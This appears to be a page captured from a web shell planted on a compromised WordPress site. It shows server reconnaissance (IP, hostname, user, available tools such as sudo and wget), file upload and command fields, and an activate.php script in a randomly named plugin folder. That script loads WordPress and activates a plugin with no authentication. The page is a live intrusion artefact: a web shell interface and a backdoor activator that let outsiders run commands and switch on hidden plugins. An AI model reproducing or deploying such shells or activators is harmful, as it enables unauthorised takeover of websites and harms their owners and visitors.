403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rasin.ddns.net/wp-content/plugins/crehzzm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rasin.ddns.net/wp-content/plugins/crehzzm/activate.php
<?php

require_once dirname( __FILE__, 4 ) . '/wp-load.php';

if ( ! function_exists( 'activate_plugin' ) ) {
	require_once ABSPATH . 'wp-admin/includes/plugin.php';
}

$plugin_dir  = basename( __DIR__ );
$plugin_file = null;

foreach ( glob( __DIR__ . '/*.php' ) as $file ) {
	if ( basename( $file ) === 'activate.php' || basename( $file ) === 'uninstall.php' ) {
		continue;
	}
	$data = get_plugin_data( $file, false, false );
	if ( ! empty( $data['Name'] ) ) {
		$plugin_file = $plugin_dir . '/' . basename( $file );
		break;
	}
}

if ( ! $plugin_file ) {
	die( 'No plugin found.' );
}

if ( is_plugin_active( $plugin_file ) ) {
	die( 'Already active.' );
}

$result = activate_plugin( $plugin_file );

if ( is_wp_error( $result ) ) {
	die( 'Activation failed: ' . $result->get_error_message() );
}

echo 'Activated: ' . $plugin_file;

Youez - 2016 - github.com/yon3zu
LinuXploit